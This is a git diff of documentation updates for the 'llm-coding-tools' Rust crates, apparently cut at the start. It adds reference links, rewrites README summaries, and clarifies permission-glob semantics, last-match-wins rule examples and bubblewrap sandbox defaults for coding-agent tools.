wrap with Fake `bwrap` and `bash` scripts in temp dirs with managed `$PATH`. Tests that touch `$PATH` run `#[serial]` to avoid cache contamination. No real bubblewrap installation needed. + +[bubblewrap]: https://github.com/containers/bubblewrap diff --git a/src/llm-coding-tools-bubblewrap/README.md b/src/llm-coding-tools-bubblewrap/README.md index 38105d0d..76ba7e10 100644 --- a/src/llm-coding-tools-bubblewrap/README.md +++ b/src/llm-coding-tools-bubblewrap/README.md @@ -1,13 +1,17 @@ # llm-coding-tools-bubblewrap -Builds bubblewrap profiles, availability checks, and wrapped commands for `llm-coding-tools`. +Builds [bubblewrap] profiles, availability checks, and wrapped commands for +`llm-coding-tools`. -**Linux only.** +**Linux only.** Two preset profiles: Public Bot (untrusted input, no network) and +Trusted Maintenance (trusted automation, network enabled). + +[Documentation] · [API Reference] ## Main Types -- [`Builder`] - Builds a bubblewrap profile. -- [`Profile`] - A validated bubblewrap profile ready for reuse. +- [`Builder`] - Builds a [bubblewrap] profile. +- [`Profile`] - A validated [bubblewrap] profile ready for reuse. - [`Availability::detect`] - Checks whether `bwrap` can run. - [`wrap::wrap_command`] - Builds a `bwrap` command from a profile. - `tokio::build_command_wrap` - Builds the async wrapped command. @@ -127,7 +131,7 @@ and precomputes the reusable `bwrap` argv prefix. [`TmpBacking::BindHost`] to mount a host directory at `/tmp`. [`wrap::wrap_command`] tries a visible host `bash` first and falls back to `sh`. -On Nix systems that is often under `/nix/store/...`. On FHS systems it is often +On [Nix] systems that is often under `/nix/store/...`. On FHS systems it is often under `/usr/bin` or `/bin`. [`Preset::PublicBot`] filters out user-home, temp, wrapper, and @@ -156,3 +160,7 @@ For the internal architecture and module layout, see [ARCHITECTURE.md](ARCHITECT [`Profile`]: crate::Profile [`Builder`]: crate::Builder [`wrap::wrap_command`]: crate::wrap::wrap_command +[bubblewrap]: https://github.com/containers/bubblewrap +[Nix]: https://nixos.org +[Documentation]: https://sewer56.github.io/llm-coding-tools/sandboxing +[API Reference]: https://docs.rs/llm-coding-tools-bubblewrap diff --git a/src/llm-coding-tools-core/README.md b/src/llm-coding-tools-core/README.md index 0c553694..593caf46 100644 --- a/src/llm-coding-tools-core/README.md +++ b/src/llm-coding-tools-core/README.md @@ -2,9 +2,12 @@ [![Crates.io](https://img.shields.io/crates/v/llm-coding-tools-core.svg)](https://crates.io/crates/llm-coding-tools-core) [![Docs.rs](https://docs.rs/llm-coding-tools-core/badge.svg)](https://docs.rs/llm-coding-tools-core) -Framework-agnostic core library of standard tools used by coding agents - headless, TUI, or anything in between. +Framework-agnostic core tools for building coding agents - file operations, +search, shell execution, sandboxing, permissions, and system prompt generation. -`llm-coding-tools-core` provides reviewed, production-grade implementations of common coding-agent tools, plus shared safety, prompt, and policy primitives. +Headless, TUI, or anything in between. Production-grade implementations with minimal overhead. + +[Documentation] · [API Reference] ## Table of contents @@ -46,7 +49,7 @@ llm-coding-tools-core = { version = "0.2", default-features = false, features = Canonical tool metadata lives in [`tool_metadata`]. Each grouped module exposes the model-facing tool name plus the provider-facing -metadata used by wrappers such as SerdesAI: [`read`], [`write`], [`edit`], +metadata used by wrappers such as [SerdesAI]: [`read`], [`write`], [`edit`], [`glob`], [`grep`], [`bash`], [`webfetch`], [`todoread`], [`todowrite`], and [`task`]. @@ -107,7 +110,8 @@ fn demo() -> ToolResult<()> { #### Permission glob semantics - `*` matches any characters within a single path component (e.g., `*.rs` matches `lib.rs` but not `src/lib.rs`). -- `**` matches any number of path components (e.g., `src/**/*.rs` matches `src/deep/nested/mod.rs`). +- `**` matches any number of path components, relative to the workspace root (e.g., `src/**/*.rs` matches `src/deep/nested/mod.rs`). +- `/**` matches any absolute path on the system (e.g., matches `/etc/passwd`, `C:/Windows/system32`). - Bare `allow` maps to `**` (all files under the workspace root). - Relative patterns are implicitly joined with the workspace root at construction time. - Absolute patterns (leading `/` or drive-root like `C:/`) are treated as-is. @@ -285,11 +289,12 @@ use llm_coding_tools_core::permissions::{ExpandError, PermissionAction, Rule, Ru # fn main() -> Result<(), ExpandError> { let mut rules = Ruleset::new(); rules.push(Rule::new("bash", "*", PermissionAction::Allow)?); -rules.push(Rule::new("task", "orchestrator-*", PermissionAction::Allow)?); -rules.push(Rule::new("task", "*", PermissionAction::Deny)?); +rules.push(Rule::new("task", "*", PermissionAction::Deny)?); // catch-all +rules.push(Rule::new("task", "orchestrator-*", PermissionAction::Allow)?); // specific (last match wins) assert_eq!(rules.evaluate("bash", "any-agent"), PermissionAction::Allow); -assert_eq!(rules.evaluate("task", "orchestrator-review"), PermissionAction::Deny); // last-match-wins +assert_eq!(rules.evaluate("task", "orchestrator-review"), PermissionAction::Allow); // last-match-wins +assert_eq!(rules.evaluate("task", "other-agent"), PermissionAction::Deny); // no match, defaults to deny # Ok(()) # } ``` @@ -354,3 +359,6 @@ let key = resolver.resolve("OPENAI_API_KEY"); [`CredentialResolver::new()`]: crate::CredentialResolver::new [`CredentialResolver::without_env()`]: crate::CredentialResolver::without_env [`set_override`]: crate::CredentialResolver::set_override +[SerdesAI]: https://crates.io/crates/serdes-ai +[Documentation]: https://sewer56.github.io/llm-coding-tools/ +[API Reference]: https://docs.rs/llm-coding-tools-core diff --git a/src/llm-coding-tools-core/src/fs/blocking_impl.rs b/src/llm-coding-tools-core/src/fs/blocking_impl.rs index 3a6eea67..a296cd9e 100644 --- a/src/llm-coding-tools-core/src/fs/blocking_impl.rs +++ b/src/llm-coding-tools-core/src/fs/blocking_impl.rs @@ -8,6 +8,8 @@ use std::path::Path; /// # Errors /// - Returns [`ToolError::Io`] when the file cannot be read (e.g., file does not exist, /// permission denied, or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub fn read_to_string(path: impl AsRef) -> ToolResult { Ok(std::fs::read_to_string(path)?) } @@ -17,6 +19,8 @@ pub fn read_to_string(path: impl AsRef) -> ToolResult { /// # Errors /// - Returns [`ToolError::Io`] when the file cannot be written (e.g., parent directory /// does not exist, permission denied, or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub fn write(path: impl AsRef, contents: impl AsRef<[u8]>) -> ToolResult<()> { Ok(std::fs::write(path, contents)?) } @@ -26,6 +30,8 @@ pub fn write(path: impl AsRef, contents: impl AsRef<[u8]>) -> ToolResult<( /// # Errors /// - Returns [`ToolError::Io`] when the directory cannot be created (e.g., permission /// denied or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub fn create_dir_all(path: impl AsRef) -> ToolResult<()> { Ok(std::fs::create_dir_all(path)?) } @@ -35,6 +41,8 @@ pub fn create_dir_all(path: impl AsRef) -> ToolResult<()> { /// # Errors /// - Returns [`ToolError::Io`] when the file cannot be opened (e.g., file does not exist, /// permission denied, or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub fn open_buffered( path: impl AsRef, capacity: usize, diff --git a/src/llm-coding-tools-core/src/fs/tokio_impl.rs b/src/llm-coding-tools-core/src/fs/tokio_impl.rs index 31f150a5..b0636cdf 100644 --- a/src/llm-coding-tools-core/src/fs/tokio_impl.rs +++ b/src/llm-coding-tools-core/src/fs/tokio_impl.rs @@ -8,6 +8,8 @@ use std::path::Path; /// # Errors /// - Returns [`ToolError::Io`] when the file cannot be read (e.g., file does not exist, /// permission denied, or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub async fn read_to_string(path: impl AsRef) -> ToolResult { Ok(tokio::fs::read_to_string(path).await?) } @@ -17,6 +19,8 @@ pub async fn read_to_string(path: impl AsRef) -> ToolResult { /// # Errors /// - Returns [`ToolError::Io`] when the file cannot be written (e.g., parent directory /// does not exist, permission denied, or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub async fn write(path: impl AsRef, contents: impl AsRef<[u8]>) -> ToolResult<()> { Ok(tokio::fs::write(path, contents).await?) } @@ -26,6 +30,8 @@ pub async fn write(path: impl AsRef, contents: impl AsRef<[u8]>) -> ToolRe /// # Errors /// - Returns [`ToolError::Io`] when the directory cannot be created (e.g., permission /// denied or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub async fn create_dir_all(path: impl AsRef) -> ToolResult<()> { Ok(tokio::fs::create_dir_all(path).await?) } @@ -35,6 +41,8 @@ pub async fn create_dir_all(path: impl AsRef) -> ToolResult<()> { /// # Errors /// - Returns [`ToolError::Io`] when the file cannot be opened (e.g., file does not exist, /// permission denied, or other I/O error). +/// +/// [`ToolError::Io`]: crate::error::ToolError::Io pub async fn open_buffered( path: impl AsRef, capacity: usize, diff --git a/src/llm-coding-tools-models-dev/README.md b/src/llm-coding-tools-models-dev/README.md index d77bc19d..2278362d 100644 --- a/src/llm-coding-tools-models-dev/README.md +++ b/src/llm-coding-tools-models-dev/README.md @@ -2,15 +2,17 @@ [![Crates.io](https://img.shields.io/crates/v/llm-coding-tools-models-dev.svg)](https://crates.io/crates/llm-coding-tools-models-dev) [![Docs.rs](https://docs.rs/llm-coding-tools-models-dev/badge.svg)](https://docs.rs/llm-coding-tools-models-dev) -Reads the online models.dev catalog into llm-coding-tools-core; with support -for a cached fallback and caching via ETag(s). +Sync the online [models.dev] catalog into a compact `ModelCatalog` with +ETag caching, zstd compression, and offline fallback. ~3000 models in ~24 KiB. + +[Documentation] · [API Reference] ## Why this exists If you run coding agents against many providers, you want to have fresh data. -[models.dev][models.dev] is one such source of data. +[models.dev][models.dev_link] is one such source of data. -This crate downloads from models.dev, keeps only the fields we need, and +This crate downloads from [models.dev], keeps only the fields we need, and builds a `llm_coding_tools_core::models::ModelCatalog`. ## Usage @@ -18,7 +20,7 @@ builds a `llm_coding_tools_core::models::ModelCatalog`. ### Load flow (simple) 1. Read cache header (if present) and get the old ETag. -2. Send request to models.dev with `If-None-Match` when ETag exists. +2. Send request to [models.dev] with `If-None-Match` when ETag exists. 3. If server returns `304 Not Modified`, load catalog from cache. 4. If server returns `200 OK`, parse JSON, map it into catalog sources, write fresh cache, then build catalog. @@ -130,10 +132,10 @@ Set `LLM_CODING_TOOLS_MODELS_DEV_CACHE_PATH` to override this path. ## Cache size and performance -Current ballpark from a recent `models.dev/api.json` snapshot: +Current ballpark from a recent [models.dev/api.json] snapshot: - Size: about `1.31 MiB` JSON -> `109 KiB` serialized payload -> `23.7 KiB` compressed cache -- Compression: about `10.1 ms` with current `zstd` level `17` +- Compression: about `10.1 ms` with current [zstd] level `17` - Decompression: about `0.057 ms` (`57 us`) in `--release` - Cache load into `ModelCatalog`: about `0.31 ms` (`read + decompress + decode + build`) @@ -150,4 +152,8 @@ Exactly one runtime mode must be enabled. Apache-2.0 -[models.dev]: https://models.dev +[models.dev/api.json]: https://models.dev/api.json +[models.dev_link]: https://models.dev +[zstd]: https://facebook.github.io/zstd/ +[Documentation]: https://sewer56.github.io/llm-coding-tools/models-catalog +[API Reference]: https://docs.rs/llm-coding-tools-models-dev diff --git a/src/llm-coding-tools-models-dev/src/api/schema.rs b/src/llm-coding-tools-models-dev/src/api/schema.rs index a8ab3060..77eeb377 100644 --- a/src/llm-coding-tools-models-dev/src/api/schema.rs +++ b/src/llm-coding-tools-models-dev/src/api/schema.rs @@ -90,6 +90,8 @@ pub(crate) struct ApiModelLimit { /// # Errors /// - Returns [`CatalogError::Json`] when `json_bytes` is not valid JSON or does not /// match the expected models.dev API schema structure. +/// +/// [`CatalogError::Json`]: crate::error::CatalogError::Json #[inline] pub(crate) fn parse_api_json( json_bytes: &[u8], diff --git a/src/llm-coding-tools-serdesai/AGENTS-ARCHITECTURE.md b/src/llm-coding-tools-serdesai/AGENTS-ARCHITECTURE.md index f032d639..e2e05a88 100644 --- a/src/llm-coding-tools-serdesai/AGENTS-ARCHITECTURE.md +++ b/src/llm-coding-tools-serdesai/AGENTS-ARCHITECTURE.md @@ -1,10 +1,10 @@ # Architecture: llm-coding-tools-serdesai (Agent Runtime) -SerdesAI adapter that builds runnable [`serdes_ai::Agent`] instances from the +[SerdesAI] adapter that builds runnable [`serdes_ai::Agent`] instances from the framework-agnostic [`AgentRuntime`] provided by `llm-coding-tools-agents`. The crate also contains standalone tools (read, write, edit, glob, grep, -bash, webfetch, todo) and Linux bubblewrap sandboxing. This document focuses +bash, webfetch, todo) and Linux [bubblewrap] sandboxing. This document focuses on the **agent runtime** subsystem. For the foundation crate, see @@ -67,7 +67,7 @@ async fn main() -> Result<(), Box> { ## Phase 1: Building Agents -Transform framework-agnostic agent configurations into runnable SerdesAI +Transform framework-agnostic agent configurations into runnable [SerdesAI] agents with tools. `AgentBuildContext::build()` is the single public build entrypoint. @@ -94,8 +94,8 @@ This context holds references to shared resources and can build multiple agents. ### Building a SerdesAI Agent (Runtime) -Build individual SerdesAI agents from the context (can be called multiple times). -Transforms the framework-agnostic [`AgentConfig`] into a runnable SerdesAI +Build individual [SerdesAI] agents from the context (can be called multiple times). +Transforms the framework-agnostic [`AgentConfig`] into a runnable [SerdesAI] [`Agent`]: ```text @@ -126,7 +126,7 @@ Transforms the framework-agnostic [`AgentConfig`] into a runnable SerdesAI SerdesAI Agent<(), String> ``` -Results in a runnable SerdesAI `Agent<(), String>` ready to call `.run()`. +Results in a runnable [SerdesAI] `Agent<(), String>` ready to call `.run()`. Internally shares the build context (via Arc) so delegated sub-agents can recursively build each other at runtime. @@ -134,7 +134,7 @@ recursively build each other at runtime. ### Shared: prepare_build() Central helper that gathers all configuration from the runtime catalog -([`AgentConfig`]) to construct a runnable SerdesAI [`Agent`]. +([`AgentConfig`]) to construct a runnable [SerdesAI] [`Agent`]. ```text prepare_build(runtime, name, model_catalog, credentials) @@ -178,7 +178,7 @@ Precedence: **agent override** wins over **runtime default**. #### Provider Bridge: `build_serdes_model` -Connects framework-agnostic [`ResolvedModel`] to concrete SerdesAI +Connects framework-agnostic [`ResolvedModel`] to concrete [SerdesAI] [`BoxedModel`] implementations: ```text @@ -302,3 +302,6 @@ llm-coding-tools-serdesai/src/ ├── agent_ext.rs AgentBuilderExt - bridges serdes_ai::tools::Tool -> ToolExecutor └── lib.rs crate root, re-exports ``` + +[SerdesAI]: https://crates.io/crates/serdes-ai +[bubblewrap]: https://github.com/containers/bubblewrap diff --git a/src/llm-coding-tools-serdesai/README.md b/src/llm-coding-tools-serdesai/README.md index 40bb6206..4cf158da 100644 --- a/src/llm-coding-tools-serdesai/README.md +++ b/src/llm-coding-tools-serdesai/README.md @@ -2,7 +2,10 @@ [![Crates.io](https://img.shields.io/crates/v/llm-coding-tools-serdesai.svg)](https://crates.io/crates/llm-coding-tools-serdesai) [![Docs.rs](https://docs.rs/llm-coding-tools-serdesai/badge.svg)](https://docs.rs/llm-coding-tools-serdesai) -Lightweight, high-performance serdesAI implementation for [llm-coding-tools]. +Ready-to-use [SerdesAI] integration for [llm-coding-tools]. Tool adapters, +agent build context, 15 provider bridges, and multi-agent task delegation. + +[Documentation] · [API Reference] ## Installation @@ -29,7 +32,7 @@ let (todo_read, todo_write, _state) = create_todo_tools(); let mut pb = SystemPromptBuilder::new(); // Build agent with tools - call .system_prompt() last -let agent = AgentBuilder::<(), String>::from_model("openai:gpt-4o")? +let agent = AgentBuilder::<(), String>::from_model("openai:gpt-5.4")? .tool(pb.track(ReadTool::new(AbsolutePathResolver))) .tool(pb.track(GlobTool::new(AbsolutePathResolver))) .tool(pb.track(GrepTool::new(AbsolutePathResolver))) @@ -85,13 +88,32 @@ let write = WriteTool::new(resolver.clone()); let edit = EditTool::new(resolver); ``` +For fine-grained glob-based allow/deny rules, use [`AllowedGlobResolver`]: + +```rust,no_run +use llm_coding_tools_serdesai::ReadTool; +use llm_coding_tools_core::path::{AllowedGlobResolver, GlobPolicy, RuleAction}; + +# fn example() -> Result<(), Box> { +let resolver = AllowedGlobResolver::new("/home/user/project")? + .with_policy( + GlobPolicy::builder() + .add("src/**", RuleAction::Allow)? + .add("target/**", RuleAction::Deny)? + .build()? + ); +let read = ReadTool::new(resolver); +# Ok(()) +# } +``` + Use `SystemPromptBuilder` to track tools and generate context-aware prompts. Context strings are re-exported in `llm_coding_tools_serdesai::context` (e.g., `BASH`, `READ_ABSOLUTE`, `READ_ALLOWED`). ## Build and Run Agents -Load agents, load the models.dev catalog, then build by name from a shared +Load agents, load the [models.dev] catalog, then build by name from a shared [`AgentBuildContext`]: ```rust,no_run @@ -111,7 +133,7 @@ let load_result = ModelsDevCatalog::load().await?; let runtime = AgentRuntimeBuilder::new() .catalog(catalog) - .defaults(AgentDefaults::with_model("openrouter/openai/gpt-4o-mini")) + .defaults(AgentDefaults::with_model("ollama-cloud/minimax-m2.7")) // .max_task_depth(5) // Optional: defaults to 3 Task hops .build()?; @@ -142,6 +164,10 @@ See [examples/serdesai-agents.rs](examples/serdesai-agents.rs) and ## Linux Shell Sandboxing +Sandboxing is **not enabled by default** for the `bash` tool - it runs +unsandboxed on the host unless you explicitly configure a bubblewrap profile. +File tools are sandboxed to the workspace root by default. + Enable the `linux-bubblewrap` feature flag to use Linux `bwrap` sandbox profiles: ```toml @@ -149,7 +175,7 @@ Enable the `linux-bubblewrap` feature flag to use Linux `bwrap` sandbox profiles llm-coding-tools-serdesai = { version = "0.2", features = ["linux-bubblewrap"] } ``` -Out of the box, 2 profiles are available: +Two profiles are available: - **Public Bot**: Assumes anyone can call; and thus defaults to the strictest containment. - No full host filesystem access, synthetic home, memory-backed `/tmp`, network disabled, sanitized system `PATH`. @@ -188,3 +214,7 @@ For agent runtime architecture, see [AGENTS-ARCHITECTURE.md](AGENTS-ARCHITECTURE Apache 2.0 [llm-coding-tools]: https://github.com/Sewer56/llm-coding-tools +[SerdesAI]: https://crates.io/crates/serdes-ai +[models.dev]: https://models.dev +[Documentation]: https://sewer56.github.io/llm-coding-tools/ +[API Reference]: https://docs.rs/llm-coding-tools-serdesai diff --git a/src/llm-coding-tools-serdesai/src/agent_ext.rs b/src/llm-coding-tools-serdesai/src/agent_ext.rs index d61aeef9..44406ec1 100644 --- a/src/llm-coding-tools-serdesai/src/agent_ext.rs +++ b/src/llm-coding-tools-serdesai/src/agent_ext.rs @@ -11,7 +11,7 @@ //! use serdes_ai::prelude::*; //! //! # fn main() -> std::result::Result<(), Box> { -//! let agent = AgentBuilder::<(), String>::from_model("openai:gpt-4o")? +//! let agent = AgentBuilder::<(), String>::from_model("openai:gpt-5.4")? //! .tool(ReadTool::new(AbsolutePathResolver)) //! .tool(GlobTool::new(AbsolutePathResolver)) //! .system_prompt("You are helpful.") @@ -65,7 +65,7 @@ pub trait AgentBuilderExt { /// use serdes_ai::prelude::*; /// /// # fn main() -> std::result::Result<(), Box> { - /// let agent = AgentBuilder::<(), String>::from_model("openai:gpt-4o")? + /// let agent = AgentBuilder::<(), String>::from_model("openai:gpt-5.4")? /// .tool(ReadTool::new(AbsolutePathResolver)) /// .tool(GlobTool::new(AbsolutePathResolver)) /// .build(); diff --git a/src/llm-coding-tools-serdesai/src/convert.rs b/src/llm-coding-tools-serdesai/src/convert.rs index e98d2a9c..76668df7 100644 --- a/src/llm-coding-tools-serdesai/src/convert.rs +++ b/src/llm-coding-tools-serdesai/src/convert.rs @@ -50,7 +50,9 @@ fn output_to_return(output: ToolOutput) -> ToolReturn { /// /// # Errors /// - Returns [`SerdesError`] when the core [`ToolResult`] contains a [`ToolError`], -/// converted via [`core_error_to_serdes`]. +/// converted via `core_error_to_serdes`. +/// +/// [`ToolError`]: llm_coding_tools_core::ToolError #[inline] pub fn to_serdes_result( tool_name: &str,